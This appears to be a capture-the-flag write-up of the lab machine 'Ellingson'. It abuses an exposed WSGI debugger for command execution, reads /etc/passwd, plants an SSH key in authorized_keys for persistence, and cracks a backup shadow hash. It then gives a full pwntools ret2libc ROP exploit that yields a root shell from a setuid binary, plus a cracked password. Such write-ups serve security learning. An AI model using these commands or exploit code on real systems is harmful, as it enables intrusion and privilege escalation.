The landing page leads to a website for Ellingson Mineral Corp which includes three articles and the faces behind the Company (Hal, Margo, Eugene, and Duke). This is clearly a reference to the 1995 film, Hackers.
One of the articles posted is entitled "Suspicious Network activity" where it writes:
We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague
The articles are accessed throught the /articles directory then followed by an id or index (e.g. /articles/3).
PART 3 : EXPLOITATION
3.1 WSGI DEBUGGER
Attempting to load a non-existent article using an index that is too large or too small redirects the user to a WSGI error page. WSGI (Web Server Gateway Interface) serves as a middleware that handles requests between the web server and the web application.
The error page can also serve as an interactive debugger which you can leverage for command execution. Maybe this could be used to gain a reverse shell or plant an RSA public key to gain persistent access over ssh.
PART 4 : GENERATE USER SHELL (hal)
4.1 Web Shell as hal
Using the command execution over the WSGI debugger:
>>> cmd ="cat /etc/passwd | egrep -e *sh$">>>__import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape") root:x:0:0:root:/root:/bin/bash theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash hal:x:1001:1001:,,,:/home/hal:/bin/bash margo:x:1002:1002:,,,:/home/margo:/bin/bash duke:x:1003:1003:,,,:/home/duke:/bin/bash>>> cmd ="ls -lah /home/hal">>>__import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape") total 36K drwxrwx---5 hal hal 4.0K May 713:12. drwxr-xr-x 6 root root 4.0K Mar 92019 ..-rw-r--r-- 1 hal hal 220 Mar 92019.bash_logout-rw-r--r-- 1 hal hal 3.7K Mar 92019.bashrc drwx------ 2 hal hal 4.0K Mar 102019.cache drwx------ 3 hal hal 4.0K Mar 102019.gnupg-rw-r--r-- 1 hal hal 807 Mar 92019.profile drwx------ 2 hal hal 4.0K Mar 92019.ssh-rw-------1 hal hal 865 Mar 92019.viminfo>>> cmd = "echo -e '\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDf5LWxsMSacl9zZMA02V7umX21MZ/eIhYCS+iwa9coGiOEWsHO8h2iuDTrOPlg4HSlYx7pgkBe0oPHyorSLYXWHiXQyYqgcS60f1KTmd18hdo15YVReSgk4ZUM7t4j8rj/QqLiypb0cRJMGClWotbNr8UzaYvytl1X0t6z0LVAvC0VHNVqBi/FPjYVrn184ddP0uh1BKDPp2kPvE4Xlnm6D7jUXr72q/kEhB5EbnNNRBi6Dy1gMPQQQTUh1pI4M3yIbAyWvNS6SvLhIOqh76v7cQPI+aX557I+epxxT2B+RsQYW4TjA4fvvAQyktlL39dXzdDn2AXiVyVHDEL68uoMxwbRaz2aGhq0R0l7KZoHqd4sDda8U8vSPTEyofjPDXRUQWYBDsfpn1JHm+bvjXhCli2Mjgwc+Ep0jwSB8oJCiP5l7fi90VmbqKKYKQxLE1oEGBCHfZnNvl6oMnp8nzwUJDtO22yutNggIHeHh8SkVcrdlApospeKIRFTlAOrvyE= root@kali' >> /home/hal/.ssh/authorized_keys"
>>>__import__("subprocess").Popen(cmd, shell=True, stdout=-1).communicate()[0].decode("unicode_escape")
4.2 SSH as hal
Now that a public key has been added to .ssh/authorized_keys, attempt to login via ssh using an identity file:
$ ssh -i id_rsa -l hal 10.10.10.139
hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
The adm group has read permissions for the shadow.bak file stored in /var/backups. It contains password hashes for all the members of the Ellingson team.
In the movie referenced by the box, Margo Wallace failed to change her password according to a schedule and her password coincidentally was "GOD" which according to Plague was one of the most commonly used passwords (along with Love, Sex, and Secret) which resulted in their system to be compromised.
Cracking Margo's password hash is probably the next step forward:
Since SHA512 crypt hashes takes a while to crack, limiting the size of the wordlist is recommended. Also, since there is a context on what Margo's password might be, I created a subset of rockyou.txt to only include passwords that contains variations of the string god. The cracked password serves as both UNIX and SSH credentials for the user, margo.
Trying to access the garbage binary again with the right password leads to a control panel and all options just outputs a string and are not interactive. If this were a buffer overflow vulnerability, then the only attack vectors left are the password input and the option selection input.
Now, it's time to save the binary locally and attempt to create an exploit:
/usr/bin/garbage is a 64-bit ELF executable with ASLR (Address Space Layout Randomization) enabled which means that certain modules or libraries (especially the libc.so file) are offset randomly every instance generated. Its security features include only NX (non-executable segment) protection and Partial RelRO (Relocation Read-Only).
NX (Non-execute)
The application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa.
Partial RelRO (Relocation Read-Only)
The headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched)
In creating 64-bit ROP chains, the value of the $rdi register can be used to pass a first argument to a function (followed by $rsi, $rdx, $rcx, $r8, then $r9). To summarize the code snippet above, the address [rbp-0x80] is saved to $rax which is then moved to $rdi. [rbp-0x80] is now the effective address where the function call gets@plt will save the input from STDIN.
External function calls such as gets@plt are using dynamic linkers (e.g. ld.so) to resolve the address of libc functions during run-time and are saved to the GOT (Global Offset Table). The GOT serves as a reference for all external function calls or anything that is referenced to a shared library then the PLT (Procedure Linkage Table) serves as a means for the compiled executable to access such functions.
Since there is an address space that is writable (using gets@plt) and there is an easy way to view stored values (using puts@plt), it could be used to leak addresses from the libc.so file required by the executable to gain total control over the binary in order to gain command execution.
The address space where the user inputs a password for authentication is stored in [rbp-0x80]. Since the return address is, in this case, 8 bytes away from the base pointer, writing 8 bytes beyond [rbp-0x80] would overwrite the value of $rbp and another 8 bytes would overwrite the return address.
The return call of the auth() function is now overwritten to be CCCCCCCC or 4343434343434343
from pwn import*pwnable =process("./garbage")payload =""payload +="A"*int("0x80", 16)# OFFSETpayload +="B"*8# BASE POINTERpayload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0x404028)# puts@got.pltpayload +=p64(0x401050)# puts@pltpayload +=p64(0x401619)# main <+0>pwnable.sendline(payload)pwnable.recvuntil("denied.\n")puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")
This process sets the value of $rdi to be the address of puts@got.plt directly offset from the libc shared object. $rdi then gets passed as an argument to the function, puts@plt then output to STDOUT. This process is essential to be able to infer the libc version being used by the infected machine (ellingson).
The exploit returns back to the main function. Since the executable is still running, the libc dynamically linked to the executable is still in the same address which means that the address leaked using the exploit above is still useful. The process of creating a ROP payload then returning to main can be repeated until all preparations to achieve command execution are completed.
from pwn import*pwnable =process("./garbage")payload =""payload +="A"*int("0x80", 16)# OFFSETpayload +="B"*8# BASE POINTERpayload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0x4040b8)# .data segmentpayload +=p64(0x401100)# gets@pltpayload +=p64(0x401619)# main <+0>pwnable.sendline(payload)shell ="/bin/sh"pwnable.sendline(shell +"\x00"*(8-(len(shell)%8)))
.data segment
a portion of an object file or the corresponding virtual address space of a program that contains initialized static variables, that is, global variables and static local variables. The size of this segment is determined by the size of the values in the program's source code, and does not change at run time.
The data segment is read-write, since the values of variables can be altered at run time. Uninitialized data, both variables and constants, is instead in the BSS segment.
The string /bin/sh was written in the .data segment (which was otherwise basically empty).
The base address of the libc is calculated by removing the offset of the leaked puts address. Knowing the base address of the libc used during run-time means you can call the functions you want with the right offsets. The offsets of each libc function are constant in their respective versions and architecture which could pretty much be easily computed.
6.9 Putting everything together
from pwn import*shell =ssh("margo", '10.10.10.139', password="iamgod$08")pwnable = shell.process("/usr/bin/garbage")# ==================================================================payload =""payload +="A"*int("0x80", 16)# OFFSETpayload +="B"*8# BASE POINTERpayload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0x404028)# puts@got.pltpayload +=p64(0x401050)# puts@pltpayload +=p64(0x401619)# main <+0>pwnable.sendline(payload)pwnable.recvuntil("denied.\n")puts_leaked = pwnable.recvline()[:8].strip().ljust(8, "\x00")log.success("LEAKED ADDRESS puts@got.plt : {}".format(hex(u64(puts_leaked))))# ==================================================================payload =""payload +="A"*int("0x80", 16)# OFFSETpayload +="B"*8# BASE POINTERpayload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0x4040b8)# .data segmentpayload +=p64(0x401100)# gets@pltpayload +=p64(0x401619)# main <+0>pwnable.sendline(payload)shell ="/bin/sh"pwnable.sendline(shell +"\x00"*(8-(len(shell)%8)))pwnable.recvuntil("denied.\n")log.success("\"{}\" WAS WRITTEN ON {}".format(shell, hex(int("0x4040b8", 16))))# ==================================================================libc =ELF("./libc.so.6")libc_address =u64(puts_leaked)- libc.symbols['puts']GLIBC_setuid = libc_address + libc.symbols['setuid']GLIBC_system = libc_address + libc.symbols['system']GLIBC_exit = libc_address + libc.symbols['exit']payload =""payload +="A"*int("0x80", 16)# OFFSETpayload +="B"*8# BASE POINTERpayload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0)# integer, 0payload +=p64(GLIBC_setuid)payload +=p64(0x40179b)# pop rdi; ret;payload +=p64(0x4040b8)# .data segmentpayload +=p64(GLIBC_system)payload +=p64(GLIBC_exit)log.info("setuid() : {}".format(hex(GLIBC_setuid)))log.info("system() : {}".format(hex(GLIBC_system)))log.info("exit() : {}".format(hex(GLIBC_exit)))pwnable.sendline(payload)pwnable.recvuntil("denied.\n")pwnable.interactive()